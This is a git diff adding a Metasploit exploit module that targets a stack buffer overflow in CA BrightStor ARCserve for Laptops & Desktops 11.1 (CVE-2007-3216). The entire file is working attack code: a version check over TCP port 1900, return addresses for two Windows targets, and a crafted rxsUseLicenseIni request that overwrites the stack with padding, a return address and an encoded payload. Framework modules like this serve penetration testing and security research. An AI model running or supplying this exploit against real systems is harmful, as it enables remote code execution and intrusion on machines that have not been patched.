diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb new file mode 100644 index 0000000000..8a56364865 --- /dev/null +++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb @@ -0,0 +1,95 @@ +## +# $Id: lgserver_rxsuselicenseini.rb +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Exploits::Windows::Brightstor::Lgserver_Rxsuselicenseini < Msf::Exploit::Remote + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup + for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an + attacker could overflow the buffer and execute arbitrary code. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'BID', '24348' ], + [ 'CVE', '2007-3216' ], + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 700, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], + [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ], + + ], + 'DisclosureDate' => 'Jun 6 2007', + 'DefaultTarget' => 0)) + + register_options([ Opt::RPORT(1900) ], self.class) + end + + def check + connect + + sock.puts("0000000019rxrGetServerVersion") + ver = sock.get_once + + if ( ver =~ /11.1.742/ ) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + + disconnect + end + + def exploit + connect + + data = rand_text_alpha_upper(4108) + [target.ret].pack('V') + data << payload.encoded + rand_text_alpha_upper(rand(300) + 1) + + sploit = "0000004820" # Command Length Field + sploit << "rxsUseLicenseIni" # RPC Command + sploit << "~~" # Constant Argument Delimiter + sploit << data + + print_status("Trying target #{target.name}...") + # One-shot overwrite... + sock.puts(sploit) + + handler + disconnect + end + +end +end